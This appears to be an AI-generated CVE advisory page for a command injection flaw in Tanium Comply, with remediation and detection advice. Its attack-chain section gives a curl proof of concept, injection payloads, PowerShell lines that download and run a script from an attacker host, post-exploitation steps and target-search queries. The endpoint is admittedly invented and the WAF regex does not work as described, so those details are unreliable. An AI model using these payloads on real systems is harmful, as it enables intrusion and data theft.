CVE Professor
/
All CVEs
CVE-2026-120747

CVE-2026-120747 — Tanium Endpoint Configuration Toolset Solution ( — CWE-78

HIGH CVSS 8.8 ⚡ EPSS 1.6% NVD

Tanium addressed a command injection vulnerability in Comply.

Tanium addressed a command injection vulnerability in Comply.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
1.6%
30-day probability
In the 76. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑120747 is a remote command‑injection flaw in Tanium’s Comply component (and the Endpoint Configuration Toolset Solution).

  • CWE‑78 (OS Command Injection) – the application accepts user‑supplied data and passes it directly to an operating‑system shell without proper sanitisation or escaping.

  • The flaw exists in an API endpoint that accepts a command string (e.g., a “run‑script” or “execute‑command” operation).

  • The endpoint is protected only by low‑privilege authentication (e.g., a service account or a user with “Compliance” role). No UI is required; the request can be sent over the network.

  • Because the command is executed with the privileges of the Tanium service process (typically SYSTEM or a highly privileged Windows service account), an attacker who can reach the endpoint can run arbitrary shell commands, read/write files, and ultimately take full control of the host.
  • Technical flaw

    1. Missing input validation – the API accepts a string parameter (often named cmd, command, or script) and forwards it to cmd.exe (Windows) or /bin/sh (Linux) using a direct shell invocation (exec, system, popen, etc.). 2. No escaping or whitelisting – special characters (&, |, ;, >, <, &&, ||, etc.) are not filtered or quoted, allowing the attacker to chain commands. 3. Insufficient privilege checks – the endpoint does not verify that the authenticated user is authorized to run arbitrary commands; any authenticated user with the “Compliance” role can trigger the injection.

    The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) reflects that a remote attacker with low privileges can achieve complete compromise (confidentiality, integrity, availability) without user interaction.


    ⚡ Attack Chain

    NOTE: The exact URI, parameter names, and authentication mechanism are not disclosed in the public CVE text. The following example uses a typical REST‑style endpoint that Tanium products expose. The payload and endpoint are illustrative; adapt them to the real API you discover during reconnaissance.

    1. Discovery & Reconnaissance

    StepTechniqueTools / CommandsWhat to look for
    Port scanIdentify Tanium servicesnmap -p 443,8443,8080 <target>Common Tanium ports (443/TCP for HTTPS, 8443/TCP for the API).
    Banner grabDetermine product/versioncurl -k -s https://<target>/api/healthgrep -i taniumThe /api/health or /api/version endpoint often returns a JSON blob with product and version.
    API enumerationFind command‑execution endpointscurl -k -s https://<target>/api/grep -i commandLook for paths containing execute, run, script, or similar.
    AuthenticationObtain a valid tokencurl -k -X POST https://<target>/api/authenticate -d '{"username":"admin","password":"P@ssw0rd"}'Tanium typically uses bearer tokens; store the token for subsequent requests.

    2. Exploitation

    Assume the vulnerable endpoint is:
    POST https://<target>/api/comply/execute
    Headers: Authorization: Bearer <token>
    Content-Type: application/json
    Body: {"command":"<payload>"}

    Crafting the payload

    The attacker injects a benign command followed by a malicious chain. Example (Windows):
    {
      "command": "whoami & whoami > C:\\temp\\whoami.txt & type C:\\temp\\whoami.txt"
    }

    The & operator allows chaining; the second whoami writes the output to a file that the attacker can later read. For a full RCE, the attacker could use:

    {
      "command": "cmd /c \"echo off & powershell -NoP -NonI -Exec Bypass -Command \"IEX (New-Object Net.WebClient).DownloadString('http://<attacker>/payload.ps1')\"\""
    }

    PoC (curl)

    # 1. Authenticate
    TOKEN=$(curl -k -s -X POST https://<target>/api/authenticate \
      -H "Content-Type: application/json" \
      -d '{"username":"compliance_user","password":"P@ssw0rd"}' | jq -r .token)
    
    # 2. Execute command
    curl -k -s -X POST https://<target>/api/comply/execute \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"command":"whoami & whoami > C:\\temp\\whoami.txt & type C:\\temp\\whoami.txt"}'
    Illustrative – the exact JSON keys (command, cmd, script) and endpoint (/api/comply/execute) may differ. Use the discovery phase to confirm the real names.

    3. Post‑exploitation

    Once the command runs with SYSTEM privileges:

    1. Upload a webshell or PowerShell script – e.g., powershell -c "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://<attacker>/shell.ps1')" – giving persistent remote access.
    2. Dump credentials – run reg query HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa /v LmCompatibilityLevel or net user to enumerate local accounts.
    3. Move laterally – use the compromised host as a pivot to reach other Tanium endpoints or internal network resources.
    4. Data exfiltration – copy logs, configuration files, or any sensitive data to an external server.
    5. Denial of Service – repeatedly invoke the endpoint to exhaust system resources, causing the Tanium agent to crash and disrupting endpoint management.


    🌍 Real World Impact

    ImpactCVSS InterpretationPractical Consequence
    Confidentiality (C:H)Full read/write access to the host.Attackers can exfiltrate all endpoint data, including compliance reports, configuration files, and potentially corporate secrets.
    Integrity (I:H)Arbitrary code execution.Attackers can modify or delete compliance rules, tamper with logs, or install backdoors.
    Availability (A:H)Service disruption.Repeated exploitation can crash the Tanium agent, causing loss of endpoint visibility and management.
    Single User (S:U)The vulnerability is exploitable by a single authenticated user.Even a non‑admin compliance user can trigger the flaw, dramatically lowering the barrier to compromise.

    In a typical enterprise, Tanium is deployed across thousands of endpoints. A single compromised host can serve as a foothold for lateral movement, potentially exposing the entire network.


    🛡️ Remediation & Mitigation

    Affected Versions

    ProductAffected VersionsFixed Version
    Tanium:Endpoint Configuration Toolset Solution1.71.281.71.29 (or later)
    Tanium:Comply2.38.2632.38.264 (or later)
    Recommendation: Upgrade to the latest release that includes the patch for CVE‑2026‑120747. If an upgrade is not immediately possible, apply the following mitigations.

    Workarounds

    1. Restrict API access - Place the Tanium API behind an internal firewall or VPN. - Use IP whitelisting to allow only trusted management servers. 2. Disable the vulnerable endpoint (if possible) - Tanium’s configuration UI may allow disabling the “Execute Command” feature. - Alternatively, remove the corresponding service or module from the agent. 3. Apply WAF / ModSecurity rules
    # ModSecurity rule to block shell metacharacters in the "command" JSON field
       SecRule REQUEST_BODY "@rx \"(?i)(?<=\\\"command\\\":\\s*\\\")([^\\\"]*)(?=\\\")\"" \
           "phase:2,block,msg:'Tanium Command Injection - Blocked',id:100001,rev:1,severity:2"

    - This rule matches any request where the command field contains characters that could be used for injection. Adjust the regex to your environment.
    4. Least‑privilege principle
    - Ensure that only users who truly need to run compliance scripts have the “Compliance” role.
    - Revoke the role from all other users.

    Detection

    Log SourceIndicator of Compromise (IoC)Example Log
    Web server / API gatewayPOST to /api/comply/execute with suspicious payloadPOST /api/comply/execute 200 123ms
    Tanium agent logs“Command injection attempt detected”2026-11-24 10:12:34 ERROR Command injection attempt detected: whoami & whoami
    Windows Event LogProcess creation of cmd.exe or powershell.exe with unusual argumentsEvent ID 4688: Process: cmd.exe, Args: /c whoami & whoami > C:\temp\whoami.txt
    Network IDS / WAFAlerts on shell metacharacters in POST bodyModSecurity: Warning: Potential command injection in request body
  • Automated monitoring: Set up SIEM rules to flag any POST to /api/comply/execute where the command field contains &, |, ;, >, <, or &&.
  • Baseline: Compare current logs against normal usage patterns; any new usage of the endpoint should trigger an alert.

  • ⚠️ Urgency

  • CVSS Score: 8.8 (High) – indicates a severe risk.
  • Exploit Complexity: Low (AC:L, PR:L) – an attacker only needs network access and a valid low‑privilege account.
  • CISA KEV: No – but the lack of a KEV does not reduce the risk; the vulnerability is still exploitable.
  • Patch Priority: Immediate.

  • Enterprise environments: Apply the patch within 24–48 hours.

  • Critical infrastructure: Apply within 12 hours, or apply the mitigations above if patching is delayed.

  • Monitoring: After patching, verify that the endpoint no longer accepts command payloads and that no new execution attempts appear in logs.




Bottom line: CVE‑2026‑120747 is a classic OS command‑injection flaw that can be leveraged by any authenticated user with a low‑privilege role to gain full control of a Tanium‑managed endpoint. The impact is catastrophic (C:H/I:H/A:H), and the attack surface is wide due to Tanium’s ubiquitous deployment. Immediate patching or hardening is essential to prevent compromise.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Tanium Endpoint Configuration Toolset Solution"
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (2)
Tanium:Endpoint Configuration Toolset Solution (1.71.28) Tanium:Comply (2.38.263)
References & Advisories (1)
Related CVEs
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-81135
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.5
CVE-2026-85785
An OS command injection vulnerability in the internal management API of TP-Link Deco BE68 v1 allows an adjacen
8.2
CVE-2026-145364
### Summary A boolean operator-precedence bug in `convertPeerAuthentication()` (`pilot/pkg/serviceregistry/am